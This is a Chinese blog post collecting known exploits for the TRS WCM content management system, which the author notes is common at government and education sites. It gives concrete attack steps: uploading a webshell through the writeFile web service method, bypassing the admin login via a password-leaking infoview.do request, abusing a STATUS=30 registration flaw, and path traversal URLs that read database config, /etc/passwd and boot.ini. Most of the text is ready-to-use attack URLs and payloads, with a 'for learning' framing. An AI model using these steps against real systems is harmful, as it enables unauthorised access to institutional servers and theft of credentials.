TRS WCM漏洞小记

0x01

前段时间遇到的一个CMS,不是开源的,虽然出现时间很长了,但是应用的范围依旧比较广,感觉重要的单位很多都用这玩意。。。网上的exp也不少,这里归纳一下,供学习之用。

0x02 payload

任意文件上传

TRS WCM6.x的Web Service提供了向服务器写入文件的方式,可以写入shell。
web service的路径为:http://xxx.xxx/wcm/services/

利用方式:

使用SOAPUI连接http://xxx.xxx/wcm/services/trs:templateservicefacade?wsdl,调用writeFile和writeSpecFile上传webshell

漏洞验证过程通过访问http://xxx.com/wcm/services/trs:templateservicefacade?wsdl,匹配返回值中是否含有writeFile和writeSpecFile。

管理员登录绕过

http://xxx.xxx.xxx/wcm,访问管理后台界面,会跳转到登录界面 xxx.xxx/wcm/app/login.jsp
查看管理员密码
wcm/infoview.do?serviceid=wcm6_user&MethodName=getUsersByNames&UserNames=admin
如果有漏洞,会在XML报错信息中暴露敏感信息,因为WCM的密码加密方式是常规32位 MD5 取前15位,管理员账号可能未激活等问题,危害相对来说少一些,这时再访问一次 wcm/app/login.jsp,漏洞未修补的话,会绕过登录界面,进入后台。

用户注册逻辑漏洞

访问用户注册页面 wcm/console/auth/reg_newuser.jsp,随意表单改成 STATUS 值为 30,或增加STATUS字段表单,然后提交注册。
以用户名表单为例,将name元素修改为STATUS,传入的值为30,
mark
mark

提交的时候如果点击按钮没反应,用低版本的IE尝试提交,提交完成后弹框提示”未开通”,实际上已经开通,登录后台即可。

如果权限足够的话,可以尝试TRS后台注入,这里就不赘述了。

/wcm/file/read_file.jsp?FileName=U020120628383491551127/../../../../../Tomcat/webapps/wcm/WEB-INF/classes/trsconfig/domain/config.xml=xx
下载数据库配置文件。

TRS IDS 信息泄露

具体文件路径在admin/debug/目录下,读取文件为fv.jsp,信息泄露为env.jsp等

其他

/inforadar/jsp/util/file_download.jsp?filePath=../../../../../../../etc/passwd
/jsp/util/file_download.jsp?filePath=c:%5Cboot.ini%00.xml

0x03

感觉这个cms洞还是挺多的… 政府 教育单位用的比较多… 本来想自己本地搭一个然后复现一遍,找了找,网上也没有个源码啥的,在dockerhub上找到了个镜像,启动失败… 容器进不去,以后调好了再截图吧 =。=

本文标题:TRS WCM漏洞小记

文章作者:tkcharlotte

发布时间:2017年10月26日 - 16:10

最后更新:2018年02月07日 - 18:02

原始链接:boombao.net/2017/10/26/trswcm漏洞小记/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------本文结束感谢您的阅读-------------